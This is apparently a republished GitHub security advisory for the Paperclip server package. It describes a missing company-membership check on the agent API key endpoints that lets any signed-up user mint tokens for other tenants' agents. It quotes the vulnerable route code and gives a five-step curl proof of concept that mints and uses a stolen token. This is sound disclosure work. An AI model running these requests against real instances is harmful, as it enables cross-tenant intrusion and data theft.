@paperclipai/server
Affected
- introduced
0, fixed2026.416.0(semver)
Fixed versions
2026.416.0
Fix
- Fixed version
2026.416.0npm install @paperclipai/[email protected]
Advisory
Also known as: None
Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys
<img width="7007" height="950" alt="01-setup" src="https://github.com/user-attachments/assets/1596b8d1-8de5-4c21-b1d2-2db41b568d7e" />
> Isolated paperclip instance running in authenticated mode (default config)
> on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post
> the 2026.410.0 patch). This advisory was verified on an unmodified build.
Summary
POST /api/agents/:id/keys, GET /api/agents/:id/keys, andDELETE /api/agents/:id/keys/:keyId (server/src/routes/agents.ts
lines 2050-2087) only call assertBoard to authorize the caller. They never
call assertCompanyAccess and never verify that the caller is a member of the
company that owns the target agent.
Any authenticated board user (including a freshly signed-up account with zero
company memberships and no instance_admin role) can mint a plaintextpcp_* agent API token for any agent in any company on the instance. The
minted token is bound to the victim agent's companyId server-side, so
every downstream assertCompanyAccess check on that token authorizes
operations inside the victim tenant.
This is a pure authorization bypass on the core tenancy boundary. It is
distinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in
2026.410.0): that advisory fixed one handler, this report is a different
handler with the same class of mistake that the 2026.410.0 patch did not
cover.
Root Cause
server/src/routes/agents.ts, lines 2050-2087:
router.get("/agents/:id/keys", async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const id = req.params.id as string;
const keys = await svc.listKeys(id);
res.json(keys);
});
router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const id = req.params.id as string;
const key = await svc.createApiKey(id, req.body.name);
...
res.status(201).json(key); // returns plaintext `token`
});
router.delete("/agents/:id/keys/:keyId", async (req, res) => {
assertBoard(req); // <-- no assertCompanyAccess
const keyId = req.params.keyId as string;
const revoked = await svc.revokeKey(keyId);
...
});
Compare the handler 12 lines below, router.post("/agents/:id/wakeup"),
which shows the correct pattern: it fetches the agent, then callsassertCompanyAccess(req, agent.companyId). The three /keys handlers above
do not even fetch the agent.
The token returned by POST /agents/:id/keys is bound to the victim
company in server/src/services/agents.ts, lines 580-609:
createApiKey: async (id: string, name: string) => {
const existing = await getById(id); // victim agent
...
const token = createToken();
const keyHash = hashToken(token);
const created = await db
.insert(agentApiKeys)
.values({
agentId: id,
companyId: existing.companyId, // <-- victim tenant
name,
keyHash,
})
.returning()
.then((rows) => rows[0]);
return {
id: created.id,
name: created.name,
token, // <-- plaintext returned
createdAt: created.createdAt,
};
},
actorMiddleware (server/src/middleware/auth.ts) then resolves the bearer
token to actor = { type: "agent", companyId: existing.companyId }, so every
subsequent assertCompanyAccess(req, victim.companyId) check passes.
The exact same assertBoard-only pattern is also present on agent lifecycle
handlers in the same file (POST /agents/:id/pause, /resume, /terminate,
and DELETE /agents/:id at lines 1962, 1985, 2006, 2029). An attacker can
terminate, delete, or silently pause any agent in any company with the same
primitive.
Trigger Conditions
authenticated mode (the public, multi-user configuration — PAPERCLIP_DEPLOYMENT_MODE=authenticated).PAPERCLIP_AUTH_DISABLE_SIGN_UP unset or false (the default — same default precondition as GHSA-68qg-g8mg-6pr7).No admin role, no invite, no email verification, no CSRF dance. The attacker
is an authenticated browser-session user with zero company memberships.
PoC
Verified against a freshly built ghcr.io/paperclipai/paperclip:latest
container at commit b649bd4 (2026.411.0-canary.8, which is post the
2026.410.0 import-bypass patch). Full 5-step reproduction:
<img width="5429" height="1448" alt="02-signup" src="https://github.com/user-attachments/assets/4c2b2939-326b-4e0d-aa01-05e22851486b" />
> Step 1-2: Mallory signs up via the default /api/auth/sign-up/email flow
> (no invite, no verification) and confirms via GET /api/companies that she
> is a member of zero companies. She has no tenant access through the normal
> authorization path.
# Step 1: attacker signs up as an unprivileged board user
curl -s -X POST http://<target>:3102/api/auth/sign-up/email \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"P@ssw0rd456","name":"mallory"}'
# Save the `better-auth.session_token` cookie from Set-Cookie.
# Step 2: confirm zero company membership
curl -s -H "Cookie: $MALLORY_SESSION" http://<target>:3102/api/companies
# -> []
<img width="2891" height="1697" alt="03-exploit" src="https://github.com/user-attachments/assets/c097e861-6bc9-4f6a-841c-b45501e27849" />
> Step 3 — the vulnerability. Mallory POSTs to /api/agents/:id/keys
> targeting an agent in Victim Corp (a company she is NOT a member of). The
> server returns a plaintext pcp_* token tied to the victim's companyId.
> There is no authorization error. assertBoard passed because Mallory is a
> board user; assertCompanyAccess was never called.
# Step 3: mint a plaintext token for a victim agent
VICTIM_AGENT=<any-agent-id-in-another-company>
curl -s -X POST \
-H "Cookie: $MALLORY_SESSION" \
-H "Origin: http://<target>:3102" \
-H "Content-Type: application/json" \
-d '{"name":"pwnkit"}' \
http://<target>:3102/api/agents/$VICTIM_AGENT/keys
# -> 201 { "id":"...", "token":"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25", ... }
<img width="2983" height="2009" alt="04-exfil" src="https://github.com/user-attachments/assets/ede5d469-4119-432c-b0ae-5a4fabc9a56b" />
> Step 4-5: Use the stolen token as a Bearer credential. actorMiddleware
> resolves it to actor = { type: "agent", companyId: VICTIM }, so every
> downstream assertCompanyAccess gate authorizes reads against Victim Corp.
> Mallory can now enumerate the victim's company metadata, issues, approvals,
> and agent configuration — none of which she had access to 30 seconds ago.
Critical Basis: The source's own band: CRITICAL
0, fixed 2026.416.0 (semver)2026.416.0
2026.416.0npm install @paperclipai/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0